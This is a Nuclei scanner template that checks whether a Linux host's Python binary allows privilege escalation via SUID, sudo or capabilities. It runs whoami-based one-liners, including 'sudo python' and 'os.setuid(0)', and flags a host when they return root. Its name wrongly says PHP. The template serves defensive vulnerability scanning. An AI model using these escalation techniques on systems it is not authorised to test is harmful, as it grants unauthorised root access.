nuclei-templates/code/privilege-escalation/linux/binary/privilege-escalation-python.yaml

id: privilege-escalation-python

info:
  name: PHP - Privilege Escalation
  author: daffainfo
  severity: high
  reference: https://gtfobins.github.io/gtfobins/python/
  metadata:
    verified: true
  tags: code,linux,php,privesc

self-contained: true
code:
  - engine:
      - sh
      - bash
    source: |
        whoami

  #SUID
  - engine:
      - sh
      - bash
    source: |
        python -c 'import os; os.system("whoami")'

  #SUDO
  - engine:
      - sh
      - bash
    source: |
        sudo python -c 'import os; os.system("whoami")'

  #Capabilities
  - engine:
      - sh
      - bash
    source: |
        python -c 'import os; os.setuid(0); os.system("whoami")'

    matchers-condition: and
    matchers:
       - type: word
         part: code_1_response
         words:
           - "root"
         negative: true

      - type: dsl
        dsl:
          - 'contains(code_2_response, "root")'
          - 'contains(code_3_response, "root")'
          - 'contains(code_4_response, "root")'
        condition: or